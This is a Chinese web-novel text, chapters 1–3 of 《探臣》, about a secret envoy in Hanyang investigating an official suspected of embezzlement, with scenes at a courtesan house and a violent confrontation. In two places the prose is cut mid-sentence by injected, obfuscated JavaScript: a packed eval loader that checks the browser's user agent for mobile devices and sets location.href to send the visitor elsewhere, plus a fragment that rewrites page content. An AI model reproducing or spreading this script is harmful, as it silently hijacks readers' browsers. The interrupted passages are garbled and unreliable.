《探臣》 1. 销金其一 汉阳府下起了悠悠扬扬的细雨,宋景熙撑着把伞,踏过洼洼水坑,到了目的地,雨也渐停了,他收起伞,悠然自得地踏进群芳馆中。 哦,这个群芳馆,就是那个群芳的意思啦,当然是闭门酣歌、声色犬马的地方。不过,宋景熙来这,却不是为了这些。 跨过正门,无人迎上来,宋景熙轻车熟路地走进一间厢房,方走到房门前,便听见几道洪亮的人声和温和的低语。 洪亮的声音道:“我敢打赌!他绝对还会穿那个颜色来!” 温和的声音道:“这个倒不用赌,因为他一定会穿那颜色来的,绝无例外。” 宋景熙推开厢门,摘下黑笠,看着两边坐着的人,微笑道:“两位好兴致啊?” 一左一右,坐了两个性格和面容迥异的男子。左看,这位相貌明俊,眉眼恣然,坐着随意,帽冠也戴得随意;右看,那位面若冠玉,神色淡然,正襟危坐着,一派温文儒雅之相。 左边这位,是训练都监都提调之子,郑禹原;右边那位,是弘文馆提学之子,沈本庭。 见宋景熙进来,正喝着茶的郑禹原吐了一口茶水,先是露出惊疑不定的神情,再定睛一看后,长舒一口气,抹抹嘴,嘿嘿道:“吓死我了......宋景熙你要死啊,穿个这么浅的,害我还以为你改性子好穿素色了。”接着,又一脸得意地朝对面的沈本庭伸手道:“看啊,我猜的没错吧?他果然又穿粉色来了,再浅那也是粉色,我赢了啊。愿赌服输,交出赌资!” 宋景熙低头一看,啊,原来如此,这两人是拿他穿的衣袍颜色打赌呢。 沈本庭不吃郑禹原这套,正色道:“君子不赌,我可没下过这赌注。” 郑禹原哎哟一声,道:“什么话!君子还不好色呢,你都来这了,这是什么地儿呀?景熙你说说,这是什么地!” 宋景熙绕过正中的桌几,坐到对面的位上,道:“第一次来,我也不清楚,可别问我。” 然而他却心道:“怎么可能不清楚。”这群芳馆可是汉阳最出名的民间妓坊,号称全海东的男人进了来都得做裙下鬼。大凡谁来了这里,就没有相信谁还能全身而退的。若是有人嘴硬,偏说自己只是在此喝喝小酒、欣赏欣赏美人,那多半是没被馆内女子看上。 不过凡事总有个例外。比如宋景熙这种,确实只是喝喝小酒,别的什么也不干,只是说出去不会有人信。因为来群芳馆寻觅风月的大多都是世家公子,而世家公子若不是形貌猥琐,不被看上的概率又很低。如果能够打探汉阳世家公子臭名远扬的程度排行,宋景熙这一行三人大概可以排进前十。倘若不是郑禹原非要选择群芳馆作为三人每回见面的场所,这排名或许还可以再往下降一降。 听他这么糊弄,最臭名昭著的郑禹原当即叫道:“你们也太坏了!” 宋景熙呵呵笑道:“行了,你们干什么拿我所穿衣服颜色做赌,我一向就这么穿,往日不见你们拿这些打趣,今日突然雅兴?说说看呢。” 郑禹原突然神秘兮兮地靠近宋景熙,道:“这就得说道说道了。难道你没听说吗,这上月江原道有个传言甚广,说是道内突然出现位长得极为俊俏的玉面郎君,人美心善,帮助过许多人,因其常穿着一身粉袍,故而被唤作粉袍郎君!” 一旁的沈本庭提醒道:“还有粉袍公子。” 郑禹原一拍掌:“对!男的管他叫粉袍公子,女的呢就管他叫郎君。嘶......这些称呼,听着真是怪异得很。” 宋景熙长长地哦了一声,道:“这样啊——然后呢?” “然后!”郑禹原接着道:“这事可太火热了,甚至传到汉阳来了,我前阵子听说过后便怀疑那人是你,让人专门去问那‘粉袍郎君’长什么样,那些姑娘简直是无所不用其词啊,什么溢美之词都说,听得我都犯迷糊......” 说到这,郑禹原将脸凑近宋景熙,像是在认真观察,凑的十分十分近,近得宋景熙一把将他推开。 郑禹原跌回位上,怪道:“我当时寻思哪有一个人长得像这么多词儿的,何况你也不像是英姿飒爽剑眉星目什么的啊,不过眉清目朗和俊美无涛倒很准确!所以我就干脆问那些姑娘们,这郎君究竟叫什么名字?果不其然,他们报的就是你的名字!” “所以...”郑禹原眯着眼盯着他,酸溜溜道:“宋景熙你就老实交代吧!你也不过是离开汉阳去江原道出了一个月的公差,究竟是做了什么,居然落得个这么个好名声,怎么回事?” 桌案上摆着果食和茶水,宋景熙眼神溜向别处,冷静地端起茶杯,抿了口,淡淡道:“没做什么啊...我向来都是想做什么就做什么。无心插柳柳成荫吧。”不过是上月在江原道出公差,结果根本没有什么事可做,全程各个州府奔走,途中顺手砍了几拨地痞无赖,顺手抓了两名小贪官,顺手帮江原道医女采了几天药,顺手帮走失的小孩找到了爹娘,顺手给恨嫁的男女牵了姻缘...等等。 郑禹原不是没从传言里听到这些,但他就是不服气。 自打从宗学卒业后,宋景熙的这两位宗学好友:一位郑禹原,本是武官之家,自然是在武科上大展拳脚,高中,入仕,如今混了个不大不小的武职;另一位沈本庭,自宗学起便是模范生员,科考第一年便庭试及第,不久入仕,如今是司宪府正六品监察。至于宋景熙本人,则是被他爹逼着考了三年科举,可惜其人胸无大志,到了考场自然是随性发挥。第一年,不中,第二年,不中,第三年,出人意料的倒数第二名!于是乎入了仕。 三人皆入仕之后,再也不能像在宗学那会一样时常相见了,可三人感情深厚,互相想念得紧,怎么办?某日,郑禹原忽然宣布,决定将他从前就时常光顾的群芳馆定为三人会聚之地,又定期为每旬休沐日,一拍即合。汉阳人一看,几个世家公子居然频频出入群芳馆,流连花丛,成何体统?一来二去的,名声也就越来越差。不过这也不全然是因为群芳馆的干系,追本溯源,名声败坏,至少是从这三人在宗学起就存在了。 尚且不谈。从前他们三人里名声最烂的就属他郑禹原了,至于沈本庭...虽然也是经常光顾群芳馆,但那只是为了和好友们会面,也许是家教太好家风太正的原因,此人的名声就从未坏到哪里去过。这也就不谈了,还好还有一个也没好到哪里去的宋景熙陪着他。如今凭什么他宋景熙的名声是好起来了,留他郑禹原一个人依旧烂着。越想越气,郑禹原从面前的果床里抓了个果子,甩手抛给宋景熙,愤愤道:“没良心,你最好是这样!” 宋景熙举着果子满脸无辜道:“真没做什么,好不容易出王京体验风情,我不得多四处游历下么,反倒是江原道民风淳朴,让我印象颇深呢。”确实,如果除去七天内被打劫三次的经历的话。 郑禹原鼻子哼气,一副不信不服之态。 一旁默默喝茶的沈本庭笑了一声,劝道:“好了,你又从不在意名声,何必和景熙置气这些。依我看,即便是景熙教你怎样挽回名声,你也不会做吧。” 郑禹原道:“这确实...也不对!我也善做好人好事,只是没有机会做罢了。再说我哪有和他置气,说说还不行了?自打他进了那什么曳扇台后,真是越来越忙了,三天两头便要出公差,一去便是十天半个月,这回好,这回更是去了一个月,好容易见着一回。我说宋景熙,这曳扇台除了派你出去走访,就没有别的什么了?” 宋景熙道:“你说对了,的确没有。”考取功名后,他虽然表面上捞了个闲职,但实际上还有个别的身份,便是郑禹原口中所说的曳扇台密使。曳扇台为前任君王所创,由君主直接控制,全国八道皆有设置,专职秘密调查,偶尔监察百官、走访民情。因此无论是曳扇台主,还是台中密使,身份都十分隐秘,台主何人,密使何人,为数多少,亦无所知。连密使之间,如果不是共事过,也不会知道对方的身份。像宋景熙这样表面有个旁的职位的密使也很常见,大多密使也会遵循规矩,不会向旁人透露身份。不过宋景熙就随意得多,家人和友人都知道他在干这行。这就导致宋景熙有时候也纳闷,自己成为密使已经是很久之前的事了,而曳扇台给他派发任务则是在有了官职后才开始。然而这些任务,不是走访,便是监察,皆是例行公事,相当普通,也相当简单。如果不是自己手上有密使的身牌,宋景熙会怀疑自己应该是个御史,或者说是像沈本庭一样的监察使。 郑禹原奇怪道:“我还以为曳扇台会派你秘密行动之类,居然根本没有?亏我从前还以为曳扇台有多神秘。你就做这些,那岂不是和本庭一样没甚区别,整日瞎忙活着如何找人麻烦。诶对了,监察大人,我记着上回你不是说司宪府让你查一个丧期作乐的,结果如何?” 被点到的沈本庭居然愣了一瞬,随即罕见地露出了尴尬的神色。见他这样,宋景熙和郑禹原不由自主对视一眼。宋景熙小心翼翼开口:“难道又...?” 沈本庭叹了口气,放下茶杯,道:“司宪府说此人丧期作乐亏礼废节,我从他家下人口里挖出了缘由。他的确有在丁忧期间鼓乐,但那只是因为夜半触景生情,思及父母,悲痛不已,情难自抑之下才为之。然而此人不通音律,五音难全,为外人所听去,误以为是丧期作乐。我查清后,便在案卷中划去了此人名姓。现在似乎已经官复原职了。” 宋景熙和郑禹原半晌没说话。 沈本庭继续道:“至于那位举报之人,因与此人过往有过嫌隙,故而诬陷和夸大其词,现在似乎被革职了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋景熙沉吟片刻,随即轻笑出声:“谈不上认识,但我知道这个名字。我自前日回汉阳,昨日回曳扇台,代理官员说有位名叫金哲的官员有贪赃枉法之嫌,亟需调查,这差事便落在了我头上,让我去查办。方才听你一言,便想起来这金哲正是汉阳府庶尹。我是有些奇怪,曳扇台和司宪府怎会有同一桩案子?” 无论从哪个方面来讲,都有些奇怪。一般而言曳扇台和司宪府不会有重合的案件才是,因为司宪府只是负责最普通的监察和纠举,遇到犯事严重到动摇国本的,就得交给义禁府了,而如若需要秘密调查,便是由曳扇台来负责。尽管曳扇台有时也会负责特殊的监察,但其负责的事件也绝不会在同时出现在司宪府或义禁府的卷宗中,否则,一宗案子两三伙人来查,岂非是浪费人力。 沈本庭也明白这个道理,同样是一脸疑惑:“的确奇怪,以往也从未出现过这等情况。而且这回司宪府虽然将案子的名目拨给我,却只是让我监察此人,并未让我行使调查之职,这与以往太不一样。此案是否是你们台主下发的?” 宋景熙否认道:“你也知道台主很久没露面过了,这案子是台里的代理官员交给我的。” 郑禹原一向对分析不感兴趣,兴致缺缺地听了一阵,忽然灵光一现道:“依我看,连曳扇台都要查他,必然是这金哲的确不清白,而且还是肥羊一只,司宪府必然是也想抢这份功。当然这也是好事一桩,你们得这样想,既然两边都有此案,还是你们两个办,不如就联手,一起结了这桩案件,届时功劳你一半我一半,岂不美哉?” 宋景熙哭笑不得:“你真是想得简单,司宪府何苦、又怎敢抢这份功劳。若真联手,万一好心办了坏事,追责下来,那也是你一半我一半,双双进狱了。届时留你一人依旧在外潇洒快活不得,必得拉你下水才行。” 沈本庭捏着茶杯,居然道:“我倒觉得不是不可行。” 宋景熙道:“你也真是,莫听他胡说。” 沈本庭微微一笑,解释道:“我觉得这主意不错。只不过这个联手,不一定非得是你我共同办案。景熙,你对金哲知晓多少?” 宋景熙道:“接近一无所知,说来奇怪,代理官员居然没有给我任何关于此人的情报。” 沈本庭道:“虽然如此,但曳扇台极少出差池,想来还是我们司宪府出了岔子。我已经从司宪府得到了关于金哲的信息,你对此人知之甚少,我能把金哲的情报悉数告知你...”说罢,他便从袖中掏出一叠纸页。 “这是有关金哲本人及其三代亲属的身份官职和生平经历,也许能助你一臂之力。” 宋景熙接过这一叠纸,随手翻了两页,道:“奇也怪哉...欸等等,这意思是让我来查了?” 沈本庭笑而不语。 郑禹原哈哈大笑道:“你真是被他坑蒙拐骗了,他这是想让你替他干活,自己坐享其成去了!” 沈本庭道:“绝无此意。” 宋景熙嗐了一声:“无所谓了,你的就是我的,我的就是你的。谁查不是查?万一还是个冤案呢,体验一把总算是好的,总该比监察走访有意思吧?” 2. 销金其二 出了群芳馆,雨已停了多时了,此刻正是一派风清云静。思忖了半天,宋景熙还是决定应该往东集市去。 边走,边琢磨着这回地任务对象:金哲。 金哲原先是中人出身,族中有人从商,世代经营药材生意,后来其祖父学有所成,应试为官,然而至死也只是籍籍无名的芝麻官,到了金哲一代,金哲勤学,早年应试,金榜题名,仕途也算是一帆风顺,现今年过五旬,刚被任命为汉阳府庶尹不过两年。虽然实现了家族的飞跃,但其族中仍有人旁系后人经商,比如金哲的一位朴姓侄婿,在汉阳经营着一家金氏药铺,打着金哲的名号,搞搞药材生意。因此,金哲与汉阳内外的商人还有所来往,素日便十分富裕。 然而金哲的好日子过了这么多年,似乎终于过到头了。不久之前,金哲以官家名义在城外东郊购置了一大片良田,而这笔交易却和户曹对不上账,有一大笔银钱不翼而飞,汉阳府和户曹吵来吵去,都说是对方的账目出了问题,没能吵出个结果。金哲又不知道脑袋抽的什么风,居然自掏腰包,补了空缺。这一补就出了问题。户曹补了帐,翻脸就检举金哲给的银钱不干不净,一个四品官,哪来的这么多钱?一定是收受了贿赂。金哲只能解释族中经营药铺,生意利润富足,没想到户曹居然又检举金家官商勾结,不伦不类。金哲气得要死,却又一直不肯交出药铺的账本,只能眼睁睁看着户曹越抹越黑。抹着抹着,事情就捅到了御座上那位那里,下令彻查,而且查的是户曹。过了没多久,户曹就撤除了检举。因为调查到最后,竟然真的是户曹一开始的账目就出了问题,户曹的大员致仕前狠狠贪了一笔,户曹和汉阳府你争我吵的时候,这位户曹大员已经携带赃款在故乡安享晚年了。 因为此事,户曹的官员皆被骂了个狗血淋头。这些都是上月宋景熙在江原道发生的事情,方才在群芳馆听沈本庭讲述此事时,差点笑个半死。想到这里,宋景熙又莫名捧腹了一阵。笑完了,又觉得奇怪,这事原本已经过了一段时间了,后续调查也跟金哲无关了,然而涉及金哲贪赃嫌疑的案子却又出现在了曳扇台中,这实在是难以理解。疑点重重,宋景熙琢磨半晌,连不小心被人撞了也不在意,还是没能想出个所以然,难道金哲真的贪了不少? 又转了几条街道,宋景熙仍在垂首思索,这时,后方人群忽然骚动起来,有人大呼大骂的声音,定睛一看,不远处有个人正横冲直撞地向这边奔来,一路撞翻好几个路人,后边还紧跟着一人,大喊道:“抓住他!来人抓住他!这小子欠债不还钱!” 宋景熙还没看清这人的长相,眼见着这人身后带着一片骂声朝他猛冲过来,他赶紧卸下身后背着的刀摆到身前,拿刀鞘挡着那人,大声道:“停停停!” 闻言,那人果然停了下来,眨着眼看他,看起来十五六岁,还是个孩子! 宋景熙也眨眨眼,说停就停了?刀都还没出鞘呢。 撵人的人“哎哟哎哟”地跟了上来,抓住那男孩的后领,死攥着将他扯过来,喘着气连连感谢:“多谢公子!多谢公子!”又骂那男孩:“小狗崽子,老子总算抓到你了。今日你要是不把钱还清了就休想走,还不起?跟老子见官去,卖了你!” 那男孩攥着衣领,面色通红,不客气道:“你胡说!我没欠你钱!” 宋景熙收回刀,将绳系好,挂回背上,看着这两人道:“欠钱?真的假的,怎么回事?” 男子道:“是的!欠我好几两!我是那边酒楼的伙夫,这家伙白吃白喝惯了,早几回吃喝全是赊账,还不起就让他打杂抵账。今天他又到酒楼来要吃要喝,本想赶他出去,谁料他拿出个鼓鼓囊囊的钱袋子,说他有钱,哪知等他吃完了,人也不见了,留个钱袋在那,我打开一看,全是石头!今日好容易逮到他了,真是多谢公子出手相助!” 不知是不是被人揪着后领有些窒息,男孩急得脸都红了,反抗的声音也渐大:“我有...我有钱!我还你钱!” 伙夫半点也不信:“你有钱个屁!你有钱不还,跑什么?!” 男孩脸更红了:“...你松开我,我真有钱,就在我身上,你自己找!” 伙夫心道:我要是松开手,这小子怕是又要逃。转念又想个了诡计,于是道:“行,大家伙都在这,你要是没钱还我,让大家看清了你嘴脸是个什么样,我看你以后连乞讨也不成!公子,劳烦搜下这家伙身上到底有没有银钱。” 这男孩左看右看也不像身上能有一个子儿的样子,一听要搜身,还是宋景熙来搜,居然又开始挣扎了,而且是用尽全身的力气挣扎,势必要逃跑一样。伙夫大惊,但成日颠勺的力气又怎是男孩能比得上的。男孩挣扎了半天,也没能逃走,反而从身上掉出来个东西,砸在地上。众人定睛一看,竟然是个精致小巧的绸缎钱袋。 宋景熙将钱袋捡起来,打开钱袋,里面果然是不少银子和铜钱,展示给伙夫看。伙夫眼睛都看直了,这么多钱,买他几条命还有余。宋景熙也颇为惊讶地对那男孩道:“你有这样多的钱,为何还要抵赖不还账?好了,钱袋给你,欠人多少就还多少。” 男孩还红着脸犹豫了一瞬,接过钱袋,小心翼翼地挑选了一块碎银,递到伙夫手上,伙夫笑呵呵地接下,还待说什么,却见那贵公子已经带着人走远了。 其实不是宋景熙要带走他,他本想一走了之,但男孩一直主动跟着他。他料到是男孩有话要同他说,便自觉地往偏僻无人的角落去走。走过一段路后,还没说话,那男孩先张口了:“公子,有人在跟着你诶。” 宋景熙转头道:“不是你在跟着我吗。” 男孩沉默了一阵,道:“那个人,早就跟着你了,还一直看着你。” 宋景熙本来走得好好的,感觉男孩这句话说得令人毛骨悚然,又想到也不会有人有这个闲工夫来监视他吧,再说他有什么好监视的?便打哈哈道:“你说的这个人,应该就是你自己吧?” 男孩又沉默了,这次不再说话,并且停了下来。 这里已经是集市的角落了。 宋景熙察觉到男孩站住后也即刻驻足,看向男孩,后者伸出双手,将手里的钱袋子递给宋景熙。这钱袋子的确是他宋景熙的,记得方才他走在路上时,有个人撞了他,窃手正是这男孩。宋景熙想了想,没有接,道:“既然是你凭本事偷的,那就归你了吧。不过,以后还是不要偷钱的好。” 男孩愣了一愣,但手没停,一听眼前这人说钱归他了,立刻就将钱袋子收回袖子里里,一边道:“我知道了......对不起,我不该偷你的钱,下次不会了。”语气之恳切,态度之诚恳,不得不让人觉得这应该是个知错能改的好孩子。如果他不是说完转身就走的话。 宋景熙诶了一声,伸手想去拦住男孩,男孩却将身一扭,不回头地走了。边走,边嘟囔道:“这么紧盯他,看见我偷钱,为什么不阻止呢...” 男孩说这句话时已经走远,声音又小,宋景熙并未听见。想到自己还有事在身,宋景熙也耸了耸肩,转身走了。 ...... 又行了很长一段路后,总算到了东集市。宋景熙在人群里左右穿梭,挤来挤去,总算看到了百事通的摊位。这摊位有些简陋,一间屋子,几个摊子,两根棍子,棍子间扯块布,明晃晃写着几个大字:百事通,全知晓! 摊位后一站一坐两个人,站着的卖力吆喝:“百事通,全知晓!内人通奸,官人劈腿,兄弟争财,仇家贪污,通通可查!全氏兄弟,为您服务!”而坐着的一脸疲相,仿佛已经习惯了。 一条腿踏在摊桌上的大全百事还没看到宋景熙,吆喝着吆喝着,突然冲到身旁的小全百事,死皮赖脸地将他拉起,抓着小全百事边摇晃,边中气十足道:“小全,你振作点!来,跟哥一起喊,全氏兄弟,为您服务!” 小全百事有气无力地跟着喊:“......全氏兄弟为您服务......” 大全百事:“你这不行,这死人样被人看去了肯定不信咱们能干好活,振作点啊小全!” 小全百事似乎是烦了,忍耐了一瞬,崩溃大吼道:“全氏兄弟!为您服务!!!” 大全百事很满意,终于放开了弟弟。等他还想扯着嗓子吆喝,宋景熙已经来到了他面前。大全百事一见来人,两眼放光,心道财神爷来了,赶紧朝小全百事喊道:“小全,来活了!”又喜气洋洋对宋景熙道:“宋公子!您又来了!” 宋景熙笑眯眯道:“没错,我又来了。有个忙需要二位帮一帮。” 大全高兴道:“可以!宋公子之托,我们向来无不应承。”说着,便向小全招了招手,指尖指向摊位后的屋子,等小全走了过来,宋景熙便跟着小全进了屋。 小全掩上门,走到屋内架上,取出一张大纸,仔细一看,原来是张汉阳舆图。他将纸摊开,铺到屋内一架半人高的桌上。舆图上有着许多墨涂的标记,从南到北,自东向西,少说也有几十处标记,花样不一,又毫无文字注释,令人眼花缭乱。一见这熟悉的地图,宋景熙便想起很久之前第一次看到这图时,便相信即便有人盗走它,也决计弄不懂这张图究竟被全氏兄弟拿来做了什么。 小全没什么波动的声音响起,先前那副崩溃的模样已经消散无踪了:“你想查什么?” “我也闲话少叙了。”宋景熙伸出手指,指向舆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773751|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 图上东侧的一片地:“有位姓金的官员,月前买下了这边的大片土地,你兄弟二人应当听过?” 小全道:“没有。” 宋景熙又道:“没有?我没记错的话,东郊似乎是你们全氏兄弟的故土?” 小全道:“是。” 宋景熙再道:“那为何说没有听过?” 小全道:“......的确未曾听过。” 宋景熙不疾不徐道:“不能吧?你们兄弟二人手下的人不是很厉害么,消息可是最灵通的,除了王宫,汉阳的消息没有你们不知道的,没有你们打听不到的。何况那曾是你们全氏的土地,想来平日也是多有关注,怎会不知?” 小全依旧是面无表情:“听过,又如何?” “那就好办咯。”宋景熙笑逐颜开:“我来正是为了此事,你也知道我素日是做什么的。有人检举这位金姓官员买下那些土地的钱来路不正,有贪污之嫌。想来这官员的名姓身份以及关系你们也知道,我也已经知晓,就不劳烦你们了。我需要你们帮我查查下这位金富商名下药铺的钱资情况,如果能拿到账本自然最好,顺便打听下他那地契怎么来的,又为何需要那片土地,必要的话,潜入也行,收买也成,总之我付钱。” 小全没说话,不像是在思考接不接下这单。 宋景熙心里倒奇怪了,平日里这两兄弟嗜钱如命,为了养活手下一堆乞丐和流浪人,连“查查我家男人是不是不举”这种乱七八糟的事都能接,今日这种值钱无比的大单反倒不接了? 小全沉默了一会,终于开口了:“还有别的吗?” 宋景熙听懂了,这意思就是不接,如果没有别的事情的话就请离开吧。 他道:“既然你不接这单,那我去问你哥算了。” 小全道:“他也不会同意的。” “这么确定?” “他是我哥,我是他弟。” 宋景熙依旧不准备放弃:“那行,我出两倍的价钱。” 小全不为所动,已经开始收拾舆图了。 宋景熙坚持道:“合作多年,友情价,三倍。” 舆图已经收起来了。 宋景熙不懈道:“跳河价,五倍。”同时暗下决心,如果连五倍也不能打动,那就说明小全是真的不想接这一单。原本找全百事就只是图个方便,全百事不接,那他就自己干。 舆图已经被放回原位了。 见此,宋景熙也不好多做纠缠,心道看来还是靠自己最靠谱。刚迈出一只脚,小全居然叫住了他。扭头见小全将舆图又重新铺开来,心想这是回心转意了。 小全道:“友情价,三倍价钱。” 宋景熙笑道:“可以。” “合作愉快。”小全道:“你方才说,金哲的身份名姓和关系你已经知晓。那金哲有一位姓朴的侄婿,在汉阳以金哲的名义经营着一家金氏药铺,你也应该知道。” “不错。”宋景熙略一点头。金哲被人检举官商勾结的时候,不愿意交出账目的药铺就是其侄婿开办的金氏药铺。 小全道:“那你应该不知道,这朴侄婿现在只是名义上掌管着这间药铺,实际上一直是金哲在亲自管理。原因不明。你若想亲自见到金哲,应该不用来找我,因为这点我无法帮忙,但你若想找到金哲的侄婿朴范,那就是找对人了。因为朴范是个疯子无赖,行踪又难以捉摸。但他有一个时常光顾的地方。” 说罢,小全伸出一根手指,宋景熙顺着他指的地方看过去,这地点他实在是不能再熟悉了,因为小全指的地方就是群芳馆! “就是这里。” 宋景熙忍不住心中咂舌,自己大概也算得上是群芳馆的座上宾了,但他怎么也想不到,金哲这案子的关键人物之一有可能现在就在群芳馆。还真是得来全不费工夫。 小全收回手,看向宋景熙,又道:“此外,宋公子,实在是抱歉,请容许我拒绝潜入或派人潜入金氏药铺,因为我们兄弟并不想插手太多。但如果你决定自己潜入,我们的人能为你行些方便,替你扫除些障碍。你想怎么做?” 不消他说,宋景熙自己也在考虑。小全不愧是全百事,把他的心思摸得很透,连他是想找这朴范也摸准了。也就是说现在他有两个选择,一是去群芳馆找朴范,也许能得到什么线索;二是等到夜幕降临之时,他亲自偷偷潜入金氏药铺当中,也许能直接获取金氏药铺的账目。这第一个方法是绕路,缺点是费时,第二个方法最直接,但也有缺点,如果被发现,那这两条路基本上就都断了。可谓不是个不该好好考量的选择。 忖度片刻后,宋景熙微笑道:“我去会会金哲的侄婿。” 3. 销金其三 再次回到群芳馆,宋景熙并没有像往常一样往自己最熟悉的那一间小院去,而是四处走了走,途中有几名打扮鲜艳亮丽的妓生见到他,摇扇微笑朝他点头示好,宋景熙也一一示好回去。走到一处连他自己都没来过的小院时,终于碰到了想找的人。 申娘正风风火火地领着几名姑娘,毫无察觉地从宋景熙眼前走过去。刚走过去,又定住了,扭头退回来。 “咦?竟是宋公子?” 申娘以一种看稀客的眼光看着宋景熙,她是群芳馆的主人,自然是对不同客人的喜好了如指掌,像宋家少爷这样的,虽是常客,却从不出现在与友人会面的小院以外的地方。而今在这种笙歌的院落见到他,能不稀奇吗?申娘身旁的几名姑娘也都认识他,看见他了,也稀奇地笑。她们知道,这人和那位沈家少爷一样,因为从不需要姑娘陪伴而在馆内出名。申娘继续笑道:“宋公子今日不是来过一回了?郑公子和沈公子早已走了多时了,宋公子怎的又到这来了?” 宋景熙也笑道:“是来过一回了。但我这回来是想找个人。” 申娘道:“找人?宋公子想找谁?” 宋景熙道:“此人姓朴名范。有人同我说他经常光顾这里,不知他现在是否正在此处?” 申娘和姑娘们皆露出惊讶的神色。不消一会,申娘敛容道:“原来宋公子是想找朴大人,朴大人此刻就在馆中。不过...不知宋公子找朴大人是为何事?” 宋景熙道:“也不是什么大事,一些公事罢了。怎么了,哦...难道他此刻不宜见人?” 申娘掩唇一笑:“这倒不是。朴大人就在醇风阁内,我们恰巧也准备往醇风阁去,宋公子请随我来吧。” 醇风阁外。 这又是一个宋景熙从未来过的院落。申娘领着原先就跟着她的一群姑娘进了院子。光是站在醇风阁外,就能听到阁内吵吵嚷嚷的声音,人声乐声交错贯耳,嘈杂不堪,难听至极。醇风阁外的妓生们纷纷露出反感的神色,虽然被刻意掩盖了下去,但宋景熙还是很会看人脸色的,心道:看来这朴范的名声极差。 以往群芳馆内的乐声都是惹人愉快的,现如今这声音如此难听,只怕是醇风阁内弹奏的妓生们心有杂念,细细分辨之下,果然能从乐声中听出浓浓的惶恐和害怕之情。再仔细辩听之下,似乎能从嘈杂之声中听到一道怒气冲天的男声。忽然间,这男声莫名暴怒,怒吼了一声,怒吼声落地,屋内的嘈杂之声也立即停了下来,屋内外瞬时陷入一片鸦雀无声。 下一刻,醇风阁的门被猛地砸开,一名妓生被丢了出来,砸在地上,随即便是一只铜碗砸了出来。屋外的妓生们都被吓到了,申娘惊呼一声:“秀珠!”而后抱紧地上的秀珠,将秀珠护在身下,朝屋内看去。 屋内的男人瞪着两只红肿的眼睛,喘着粗气,怒火未消。他身后的醇风阁一片狼藉,桌子被掀翻,饭菜和汤水洒了一地,延伸至男人脚下。 秀珠的身上也有饭菜的污秽,半边脸红肿着。被申娘护在身下,秀珠霎时就委屈地抽泣起来,申娘心疼地捂着她的半边脸,又为她拭去眼泪,小声安慰道:“好了没事了,我来了。”说罢,又转头看向屋内男子,尽量平和语气道:“朴大人,您有什么不满都是我的问题,只要您提,群芳馆一定改正,何必将气撒在其它人身上?” 朴范似乎没有听进去,仍旧死死瞪着眼,不知道在瞪谁。突然,他一句话也不说,像受了什么刺激一般,惊吓地左右猛看,然后突然捡起地上的铜碗,又狠狠地朝门外砸去。好在铜碗没有砸中任何人,径直飞到了院子里。 只是这铜碗差点砸中站在院中的宋景熙。他原本站在木阶下,还好眼疾身快,及时避开了,皱眉想这是遇上真疯子了。朴范趴在地上,见没砸到,好像又受了什么刺激一样,疯狂地在地上摸索可以拿来砸人的东西,餐具甚至是饭菜,只要是碰到他手的,就会被他不顾一切地扔出去,他一边扔,一边愤怒地大吼。屋外的人为了避免被砸中,不得不朝两边躲藏起来。屋内同样还有几名男子,有士人打扮,也有平民打扮,衣着并不华丽,看样子是朴范的同伴,也惊慌地往角落钻,害怕被波及。其中一名男子见朴范这般疯样,也顾不得愣着了,扑到朴范身边,死死钳住朴范的拳头,大吼道:“老爷!请您冷静点!这里不能闹事的!想想叔丈大人!真的不能在这闹事啊!” 朴范完全听不懂眼前的男子在说什么,只是越来越愤怒,用更大的怒吼道:“酒!我要酒!给我酒!酒啊!啊啊啊啊啊啊啊啊啊!” 男子苦口婆心劝道:“现在是禁酒令时期,哪里有酒供给您?这里真的没酒了!您也不能再喝酒了,求您冷静下来吧!” 朴范不知道哪里来的力气,竟然一把挣脱了男子的钳制,紧接着一拳打在男子眼睛上,男子被打得头昏眼花,捂着眼睛坐在地上哀嚎。屋内原本惊恐地躲在角落的几名士人打扮的男人趁这时间飞快地逃了出来,一边逃一边骂道:“狗养的难怪出手那么大方,还请人来玩,原来是脑子有病!脑子有病还出来玩!以后再也不贪便宜了。”然后头也不回地逃出了醇风阁。 与这群士人一同跑出来的还有另外一名妓生,被吓得瑟瑟发抖,连路都走不稳,刚走出门,就被房门一旁躲着的姑娘伸手接住了。申娘伸出脑袋,朝屋内望去,岂料什么也没看清,就背后一痛,被人摁到在了地板上。比后背更痛的是脖子。朴范将申娘死死压在身下,掐着申娘的脖子,神色癫狂道:“酒!我要酒!没有酒,我、我会死的!我会死的!!” 申娘艰难地挣扎着,还试图讲些道理:“大人...禁酒令...没有酒...” 朴范咬牙,脖子上脉管突出,手上更加用力,无论妓生们如何掰他,也没能让他松开手,竟掐得申娘一张脸红到发紫。 宋景熙本来不想插手。因为几年前群芳馆也有不少这种无理取闹惹是生非之人,尤其是酒后爱好耍酒疯之人。那一回宋景熙第一次被郑禹原哄骗到群芳馆来,说是体验体验温柔乡。结果进馆看见有人仗势欺人,郑禹原不由分说便出手和那人打了一架,结果引起了一场群殴,但他还是双拳敌众手,将那人打没了半条命。被打的人家中也是士族,咽不下这口气,告了御状,事情闹大以后,郑禹原也被父亲郑都提调揍了个半死。一样参加了那场群殴的宋景熙早已忘记自己事后是怎么挨打的了。只记得这么一遭惊天动地的群殴的确起到了震慑效果,加之原本申娘背后也有人,故而此事之后群芳馆闹事人数陡然锐减。但申娘还是和他们下了约定,如果不是十分棘手的事情,千万不要出手。 绝大多数时候申娘确实能自行处理那些不规矩的客人,宋景熙也一直谨记着和申娘的约定,可是如今这情况,便是谁也忍不了。他立刻上前和着急的妓生们合力掰开朴范的手,凭着力气将朴范掀翻在地。朴范在地上打了个滚,刚想爬起来,便被一脚踹在腰侧,踹得他差点断气,咚一声撞在了地上。 